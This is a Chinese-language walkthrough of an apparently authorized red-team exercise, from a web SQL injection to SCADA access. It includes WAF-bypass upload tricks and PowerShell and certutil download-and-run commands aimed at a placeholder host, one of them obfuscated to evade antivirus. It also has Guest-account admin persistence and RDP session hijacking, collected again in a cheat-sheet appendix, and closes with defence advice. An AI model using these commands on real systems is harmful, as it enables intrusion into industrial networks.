一次直达工控区的"简单"渗透
字数 1345 2025-08-12 11:33:52

工控系统渗透测试实战教学文档

1. 前期信息收集与目标确认

  1. 信息收集范围

    • 主目标及其下属单位
    • 同一C段内的相关系统
    • 通过JS文件分析寻找未授权接口
  2. 目标确认流程

    • 与裁判/客户沟通确认目标是否在演练范围内
    • 验证下属单位系统是否属于攻击范围

2. SQL注入攻击

  1. 发现注入点

    • 在JS文件中发现的未授权接口
    • 接口存在SQL注入漏洞
  2. 绕过WAF技巧

    • 使用常规SQL注入绕过技术
    • 注意观察WAF拦截规则并相应调整payload
  3. 利用结果

    • 获取管理后台用户名和密码
    • 成功登录管理后台

3. 文件上传漏洞利用与WAF绕过

3.1 文件后缀名绕过

  1. 原始拦截

    • WAF拦截非法后缀名
  2. 绕过方法

    • 修改Content-Type头部
    • 在"boundary="和"----"之间插入Tab键
    Content-Type: multipart/form-data; boundary=    ----WebKitFormBoundarynyPW4lGbujY0nBEL
    

3.2 文件内容检测绕过

  1. 基础测试

    • 发现基础ASP代码<% response.write("hello world") %>被拦截
    • WAF匹配<% %>标签
  2. 绕过方法一:垃圾数据填充

    • 构造大数据包,将恶意代码隐藏其中
    • 利用WAF内存/带宽限制的缺陷
  3. 绕过方法二:大小写变异

    • 测试发现WAF不做大小写判断
    • 修改拦截参数的大小写形式,如Request改为RequesT
  4. 最终结果

    • 成功上传命令执行小马
    • 通过变异所有拦截参数实现bypass

4. 内网横向渗透

4.1 初始立足点

  1. 环境确认

    • IIS服务器
    • 确认出网情况:使用ping测试
  2. Cobalt Strike上线

    • 方法一:PowerShell直接上线
    powershell.exe IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/x'))
    
    • 方法二:证书下载
    certutil.exe -urlcache -split -f http://x.x.x.x/x.exe D:\x.exe
    
  3. 权限提升

    • 使用烂土豆(Local Potato)插件提权至SYSTEM
    • 激活Guest用户并加入管理员组
    net user guest /active:yes
    net user guest tide@123456
    net localgroup administrators guest /add
    

4.2 横向移动技术

  1. RDP劫持

    • 查询当前会话:query users
    • 创建服务劫持会话:
    sc create tide binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#4"
    net start tide
    
  2. 信息收集重点

    • 远程连接凭证
    • 服务数据库密码
    • 内网拓扑结构
  3. 隧道搭建

    • 使用socks5隧道工具(nps, frp等)
    • 维持持久访问

5. 运维区渗透

  1. 关键发现

    • 运维人员办公PC(Win7系统)
    • 内网导航站揭示网络划分结构
    • 运维邮箱中的机房密码本文件
  2. 密码本内容

    • 大量机房服务器密码
    • 重要业务系统管理员密码
    • SCADA系统凭证

6. 工控生产区渗透

  1. 网络测试

    • 验证运维机到工控区的连通性
    • 测试密码本中密码的有效性
  2. 最终访问

    • 使用获取的凭证直接登录SCADA服务器
    • 进入核心生产内网

7. 关键总结与防御建议

7.1 攻击路径总结

  1. 外部暴露系统 → SQL注入 → 管理后台 → 文件上传 → 服务器控制
  2. 内网横向移动 → 运维PC → 密码本获取 → 工控区访问

7.2 防御建议

  1. WAF配置

    • 完善大小写敏感检测
    • 优化大数据包处理能力
    • 增强对变异payload的识别
  2. 权限管理

    • 最小权限原则
    • 定期更换密码
    • 避免密码明文存储
  3. 网络隔离

    • 严格划分办公区与生产区
    • 限制运维机到生产区的直接访问
  4. 安全意识

    • 禁止在邮箱/文件中存储敏感凭证
    • 定期进行安全培训
  5. 监控措施

    • 加强异常登录检测
    • 建立完善的日志审计系统

8. 附录:常用命令速查

  1. 权限相关

    # 激活Guest用户
    net user guest /active:yes
    # 添加管理员
    net localgroup administrators guest /add
    
  2. RDP劫持

    query users
    sc create tide binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#4"
    net start tide
    
  3. 文件下载

    certutil.exe -urlcache -split -f http://x.x.x.x/x.exe D:\x.exe
    
  4. PowerShell免杀

    set-alias -name key -value IEX; key(New-Object Net.WebClient).DownloadString('h'+'ttp://x.x.x.x/a')
    
工控系统渗透测试实战教学文档 1. 前期信息收集与目标确认 信息收集范围 : 主目标及其下属单位 同一C段内的相关系统 通过JS文件分析寻找未授权接口 目标确认流程 : 与裁判/客户沟通确认目标是否在演练范围内 验证下属单位系统是否属于攻击范围 2. SQL注入攻击 发现注入点 : 在JS文件中发现的未授权接口 接口存在SQL注入漏洞 绕过WAF技巧 : 使用常规SQL注入绕过技术 注意观察WAF拦截规则并相应调整payload 利用结果 : 获取管理后台用户名和密码 成功登录管理后台 3. 文件上传漏洞利用与WAF绕过 3.1 文件后缀名绕过 原始拦截 : WAF拦截非法后缀名 绕过方法 : 修改Content-Type头部 在"boundary="和"----"之间插入Tab键 3.2 文件内容检测绕过 基础测试 : 发现基础ASP代码 <% response.write("hello world") %> 被拦截 WAF匹配 <% %> 标签 绕过方法一:垃圾数据填充 构造大数据包,将恶意代码隐藏其中 利用WAF内存/带宽限制的缺陷 绕过方法二:大小写变异 测试发现WAF不做大小写判断 修改拦截参数的大小写形式,如 Request 改为 RequesT 最终结果 : 成功上传命令执行小马 通过变异所有拦截参数实现bypass 4. 内网横向渗透 4.1 初始立足点 环境确认 : IIS服务器 确认出网情况:使用ping测试 Cobalt Strike上线 : 方法一:PowerShell直接上线 方法二:证书下载 权限提升 : 使用烂土豆(Local Potato)插件提权至SYSTEM 激活Guest用户并加入管理员组 4.2 横向移动技术 RDP劫持 : 查询当前会话: query users 创建服务劫持会话: 信息收集重点 : 远程连接凭证 服务数据库密码 内网拓扑结构 隧道搭建 : 使用socks5隧道工具(nps, frp等) 维持持久访问 5. 运维区渗透 关键发现 : 运维人员办公PC(Win7系统) 内网导航站揭示网络划分结构 运维邮箱中的机房密码本文件 密码本内容 : 大量机房服务器密码 重要业务系统管理员密码 SCADA系统凭证 6. 工控生产区渗透 网络测试 : 验证运维机到工控区的连通性 测试密码本中密码的有效性 最终访问 : 使用获取的凭证直接登录SCADA服务器 进入核心生产内网 7. 关键总结与防御建议 7.1 攻击路径总结 外部暴露系统 → SQL注入 → 管理后台 → 文件上传 → 服务器控制 内网横向移动 → 运维PC → 密码本获取 → 工控区访问 7.2 防御建议 WAF配置 : 完善大小写敏感检测 优化大数据包处理能力 增强对变异payload的识别 权限管理 : 最小权限原则 定期更换密码 避免密码明文存储 网络隔离 : 严格划分办公区与生产区 限制运维机到生产区的直接访问 安全意识 : 禁止在邮箱/文件中存储敏感凭证 定期进行安全培训 监控措施 : 加强异常登录检测 建立完善的日志审计系统 8. 附录:常用命令速查 权限相关 : RDP劫持 : 文件下载 : PowerShell免杀 :